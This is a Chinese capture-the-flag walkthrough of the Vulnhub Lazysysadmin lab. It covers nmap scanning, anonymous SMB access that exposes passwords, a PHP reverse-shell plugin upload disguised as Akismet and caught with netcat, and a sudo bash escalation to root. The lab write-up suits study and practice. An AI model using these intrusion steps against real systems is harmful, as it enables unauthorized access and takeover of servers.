Lazysysadmin靶机笔记

news/2025/3/13 2:09:11/文章来源:https://www.cnblogs.com/LING5/p/18352116

Lazysysadmin靶机笔记

概述

lazysysadmin是一台Vulnhub靶机,整体比较简单,要对一些存在服务弱口令比较敏感。

靶机地址:https://pan.baidu.com/s/19nBjhMpGkdBDBFSnMEDfOg?pwd=heyj
提取码:heyj

一、nmap扫描

1、主机发现

# -sn只做ping扫描,不做端口扫描
sudo nmap -sn 192.168.247.1/24

看到靶机IP地址是192.168.247.138

MAC Address: 00:50:56:FA:CB:D3 (VMware)                                                                
Nmap scan report for 192.168.247.138                        
Host is up (0.00072s latency).  

2、端口扫描

-sT 以TCP全连接扫描,--min-rate 10000 以最低10000速率进行扫描,-p-进行全端口扫描,-o ports结果输出到ports文件中

sudo nmap -sT --min-rate 10000 -p- 192.168.247.138 -o ports     
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-08 10:21 EDT                                                                    
Nmap scan report for 192.168.247.138                                                                                               
Host is up (0.0023s latency).                                                                                                      
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
MAC Address: 00:0C:29:D5:2D:FE (VMware)Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds

提取端口

cat 查看文件 grep过滤open字符串 awk 中-F指定分隔符,打印分隔后的第一列,paste -s指定多行拼接,-d指定拼接符

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

结果 22,80,139,445,3306,6667

复制给变了ports

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3、详细信息扫描

以tcp, 探测版本, 以默认脚本 扫描端口 $ports,探测操作系统版本,输出到details文件中

sudo nmap -sT -sV -sC -p$ports -O 192.168.247.138 -o details# 在输入完$ports按tab键会自动补全端口sudo nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O 192.168.247.138 -o details

结果:

# Nmap 7.93 scan initiated Thu Aug  8 10:27:15 2024 as: nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O -o details 192.168.247.138
Nmap scan report for 192.168.247.138
Host is up (0.00059s latency).PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 b538660fa1eecd41693b82cfada1f713 (DSA)
|   2048 585a6369d0dadd51ccc16e00fd7e61d0 (RSA)
|   256 6130f3551a0ddec86a595bc99cb49204 (ECDSA)
|_  256 1f65c0dd15e6e421f2c19ba3b655a045 (ED25519)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Silex v2.2.7
|_http-title: Backnode
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: 
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.247.128
|_  error: Closing link: (nmap@192.168.247.128) [Client exited]
MAC Address: 00:0C:29:D5:2D:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_clock-skew: mean: -3h19m58s, deviation: 5h46m24s, median: 1s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2024-08-09T00:27:30+10:00
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-08-08T14:27:30
|_  start_date: N/AOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  8 10:27:38 2024 -- 1 IP address (1 host up) scanned in 23.27 seconds

看到目标服务开启了ssh,smb,http,mysql,和irc服务

4、默认脚本扫描

nmap --script=vuln -p22,80,139,445,3306,6667 192.168.247.138 -o vuln
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|   /test/: Test page
|   /robots.txt: Robots file
|   /info.php: Possible information file
|   /phpmyadmin/: phpMyAdmin
|   /wordpress/wp-login.php: Wordpress login page.
|   /apache/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_  /old/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
| irc-botnet-channels: 
|_  ERROR: TIMEOUTHost script results:
|_smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: falseNmap done: 1 IP address (1 host up) scanned in 320.62 seconds

根据优先级,我们应该是先对web做渗透测试,让后一次是smb,mysql,ssh等

二、web渗透

nmap默认漏洞脚本扫描结果出现了几条路径,我们访问一下

192.168.247.138

image-20240810090349605

主页,这里翻看了一下,没有什么有用的信息

192.168.247.138/wordpress/
image-20240810090845622

这里一直在强调My name is togie

togie会不会就是用户名呢,我们先往下看

192.168.247.138/test/
192.168.247.138/apache/
192.168.247.138/old/
192.168.247.138/info.php
192.168.247.138/robots.txt

上面这些都路径没有有用的信息

我们看一下两个登陆页面

http://192.168.247.138/phpMyAdmin/
192.168.247.138/wordpress/wp-login.php
image-20240810093016418image-20240810093117983

尝试了弱口令,并不能登陆成功

尝试目录爆破,看看还有什么我们遗漏的页面:gobuster 、ffuf、dirb、dirsearch都可以

有兴趣可以熟悉一下命令,这是我们渗透测试应该想到的东西,虽然这次没有有价值信息。

目录爆破出来也是这些页面,并没有什么有价值的信息

web总结:我们发现了一个可能的用户名togie

三、smb服务渗透

1)ssh凭证

smbclient -L 192.168.247.138rename       Type      Comment---------       ----      -------print$          Disk      Printer Driversshare$          Disk      SumshareIPC$            IPC       IPC Service (Web server)
Reconnecting with SMB1 for workgroup listing.Server               Comment---------            -------Workgroup            Master---------            -------WORKGROUP       

我们不知道密码,就用空密码看看能不能访问共享文件

我们最感兴趣的应该是share$目录了,进去看看

smbclient //192.168.247.138/share$
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> 

进来了,我们翻找一下有用的信息吧

smb: \> dir.                                   D        0  Tue Aug 15 07:05:52 2017..                                  D        0  Mon Aug 14 08:34:47 2017wordpress                           D        0  Fri Aug  9 20:44:17 2024Backnode_files                      D        0  Mon Aug 14 08:08:26 2017wp                                  D        0  Tue Aug 15 06:51:23 2017deets.txt                           N      139  Mon Aug 14 08:20:05 2017robots.txt                          N       92  Mon Aug 14 08:36:14 2017todolist.txt                        N       79  Mon Aug 14 08:39:56 2017apache                              D        0  Mon Aug 14 08:35:19 2017index.html                          N    36072  Sun Aug  6 01:02:15 2017info.php                            N       20  Tue Aug 15 06:55:19 2017test                                D        0  Mon Aug 14 08:35:10 2017old                                 D        0  Mon Aug 14 08:35:13 20173029776 blocks of size 1024. 1313772 blocks available

mget下来

smb: \> mget *.*
Get file deets.txt? y
getting file \deets.txt of size 139 as deets.txt (33.9 KiloBytes/sec) (average 33.9 KiloBytes/sec)
Get file robots.txt? y
getting file \robots.txt of size 92 as robots.txt (29.9 KiloBytes/sec) (average 32.2 KiloBytes/sec)
Get file todolist.txt? y
getting file \todolist.txt of size 79 as todolist.txt (25.7 KiloBytes/sec) (average 30.3 KiloBytes/sec)
Get file index.html? y
getting file \index.html of size 36072 as index.html (7045.2 KiloBytes/sec) (average 2368.6 KiloBytes/sec)
Get file info.php? y
getting file \info.php of size 20 as info.php (9.8 KiloBytes/sec) (average 2091.1 KiloBytes/sec)

查看一下这里只有deets有一些我们用的到的信息

cat deets.txt CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

给了我们一个password 12345

这会不会是togie的密码呢

2)wordpress凭证

我们接着看smb的/wordpress目录

smb: \wordpress\> ls.                                   D        0  Fri Aug  9 20:44:17 2024..                                  D        0  Tue Aug 15 07:05:52 2017wp-config-sample.php                N     2853  Wed Dec 16 04:58:26 2015wp-trackback.php                    N     4582  Fri Aug  9 10:33:20 2024wp-admin                            D        0  Wed Aug  2 17:02:02 2017wp-settings.php                     N    16200  Thu Apr  6 14:01:42 2017wp-blog-header.php                  N      364  Sat Dec 19 06:20:28 2015index.php                           N      418  Tue Sep 24 20:18:11 2013wp-cron.php                         N     3286  Sun May 24 13:26:25 2015wp-links-opml.php                   N     2422  Sun Nov 20 21:46:30 2016readme.html                         N     7413  Fri Aug  9 10:33:21 2024wp-signup.php                       N    29924  Tue Jan 24 06:08:42 2017wp-content                          D        0  Fri Aug  9 10:56:13 2024license.txt                         N    19935  Fri Aug  9 10:33:21 2024wp-mail.php                         N     8002  Fri Aug  9 10:33:21 2024wp-activate.php                     N     6864  Fri Aug  9 10:33:21 2024.htaccess                           H       35  Tue Aug 15 07:40:13 2017xmlrpc.php                          N     3065  Wed Aug 31 12:31:29 2016wp-login.php                        N    34347  Fri Aug  9 10:33:21 2024wp-load.php                         N     3301  Mon Oct 24 23:15:30 2016wp-comments-post.php                N     1627  Mon Aug 29 08:00:32 2016wp-config.php                       N     3703  Mon Aug 21 05:25:14 2017wp-includes                         D        0  Wed Aug  2 17:02:03 20173029776 blocks of size 1024. 1313868 blocks available

我们看到了wp-config.phplicense.txt下载下来查看一下

image-20240810100356115

看到了一组wordpress凭证,我们写进``creds`文件里

四、获得立足点

两组凭据

image-20240810104140029

方式1:ssh凭据

ssh togie@192.168.247.138
image-20240810112914694

方式二:wordpress

image-20240810105115393

登陆进后台首先想到上传插件的方式去反弹shell

这里网上随便找一个php反弹shell的脚本,我找的是pentestmonkey的

随便找一个plugin的头部,添加到我们的反弹脚本里

/*** @package Akismet*/
/*
Plugin Name: Akismet Anti-Spam
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 3.3.3
Author: Automattic
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

让后打包成zip文件,因为上传只能是zip

zip rev.zip php-reverse-shell.phpadding: php-reverse-shell.php (deflated 58%)

上传安装

image-20240810110252682

成功

image-20240810110324846

本地监听

nc -lvp 4444

访问

192.168.247.138/wordpress/wp-content/plugins/rev/php-reverse-shell.php

收到反弹shell

image-20240810110742032

python -c "import pty;pty.spawn('/bin/bash')"ww-data@LazySysAdmin:/$ uname -a
uname -a
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linuxexport TERM=xterm-color # 可以用clear清屏

翻找flag,有一个togie用户但目录下是空的。我们切换到它

image-20240810112043424
www-data@LazySysAdmin:/home/togie$ su togie
su togie
Password: 12345togie@LazySysAdmin:~$ 

五、提权到root

sudo -l #查看一下

image-20240810112344761

togie的sudo(ALL:ALL)ALL的

直接sudo/bin/bash提权

image-20240810112644778

拿到flag

root@LazySysAdmin:/root# cat proof.txt
cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851Well done :)Hope you learn't a few things along the way.Regards,Togie McdogieEnjoy some random stringsWX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

总结

  1. 我们显示用nmap扫描发现目标开放了22,80,139,445等端口的服务,根据优先级,优先选择web的端口
  2. 通过漏洞脚本的扫描我们发现了一些web的路径,通过一个一个的访问,我们发现了一个可能的用户名togie,以及wordpress和phpmyadmin的登陆框
  3. 我们利用smb服务发现了togie用户的密码,以及wp的用户名和密码。
  4. 通过ssh或者wp的反弹shell,成功获得立足点
  5. 利用sudo /bin/bash 命令进行提权到root,拿到flag proof.txt文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/780795.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图片压缩保证让你看的明明白白

场景 很多时候,都会遇见图片上传的场景。 在上传给服务器之前。 前端为了节省服务器的存储空间。 会对图片进行压缩。 下面我们来一起学习一下图片压缩。 图片压缩的步骤: 1.选择图片。使用 <input type="file">来实现 2.将选择的图片显示出来。 获取到图片的…

学前准备工作

什么是计算机computer:全称电子计算机,简称电脑。 能够按照程序运行,自动、高速处理海量数据的现代化智能电子设备 由软件和硬件组成 常见形式有台式计算机,笔记本计算机,大型计算机等 广泛应用在:科学计算、数据处理、自动控制、计算机辅助设计、人工智能等领域。计算机…

多元时间序列分析统计学基础:基本概念、VMA、VAR和VARMA

多元时间序列是一个在大学课程中经常未被提及的话题。但是现实世界的数据通常具有多个维度,所以需要多元时间序列分析技术。在这文章我们将通过可视化和Python实现来学习多元时间序列概念。这里假设读者已经了解单变量时间序列分析。 1、什么是多元时间序列? 顾名思义,多元时…

wqs二分

wqs二分 用来处理一类带有限制的问题,如恰好选 \(k\) 个,本质是通过二分来规避这个选取数量的限制。 使用前提:原问题具有凹凸性。设 \(g_i\) 表示选 \(i\) 个物品的答案,那么所有 \((i, g_i)\) 点组成一个凸包,满足 \(g(k)\) 单调。 这类题目通常有以下特点:如果不限制选…

IDEA Sonar 扫描

1. 修改SonarQube-7.7\conf\sonar.properties数据库配置2. 启动SonarQube-7.7\bin\windows-x86-64\StartSonar.bat,打开 localhost:9000,账密 admin / admin3. pom文件配置:<profiles><profile><id>sonar</id><properties><sonar.host.url…

[AGC052B] Tree Edges XOR

好题,可以直接作为套路记录一下。 [AGC052B] Tree Edges XOR 题目大意: 给你一棵树,有奇数个点,每个边有边权 \(w_i\)。每次你可以选出一条边,将和这条边的所有相邻的边都异或这条边的边权,问你能否得到最终状态(操作次数不定)。 思路: 首先,上来会发现每次操作影响的…

[JVM] 应用诊断工具之java命令

0 序本章对java命令的使用、最佳实践进行全方位的总结。1 java命令 1.0 场景:查看版本方法1# java -version java version "1.8.0_261" Java(TM) SE Runtime Environment (build 1.8.0_261-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)方…

洛谷 P1127 词链——题解

洛谷P1127题解传送锚点摸鱼环节 词链 题目描述 如果单词 \(X\) 的末字母与单词 \(Y\) 的首字母相同,则 \(X\) 与 \(Y\) 可以相连成 \(X.Y\)。(注意:\(X\)、\(Y\) 之间是英文的句号 .)。例如,单词 dog 与单词 gopher,则 dog 与 gopher 可以相连成 dog.gopher。 另外还有一…

引领敏捷潮流:首届中国Scrum大会即将揭幕

中国「首届Scrum大会」将于2024年8月17日在上海大华虹桥假日酒店盛大召开。在全球数字化转型的浪潮中,敏捷已成为企业脱颖而出的关键。本次大会汇聚了Scrum领域的顶尖专家、实践者及企业领袖,共同探讨AI时代下的敏捷(Agile in the AI Age),深入探索智能时代的敏捷路径,掌…

解锁数学之美:VuePress博客如何优雅地呈现复杂公式

聊聊如何让 VuePress 显示数学公式块。聊聊如何让 VuePress 显示数学公式块。 ‍ 什么是数学公式块 如果你还不了解,可以先看看我的 Markdown 教程——Markdown 与数学公式。 ‍ ‍ 安装依赖 相关插件有很多,我这里选择的是 markdown-it-mathjax3​: npm i markdown-it-math…

【攻防】一个关于内网渗透过程的小技巧

在我们打攻防进行内网渗透的过程中,很多时候需要去收集内网的密码字典再对内网主机进行批量的密码喷洒。 这里密码获取的手段有很多,例如: 1、mimikatz抓取入口主机密码 2、翻查入口主机中关于密码的文件(例如数据库密码) 3、web系统的密码 4、自己构造目标的密码字典(xx…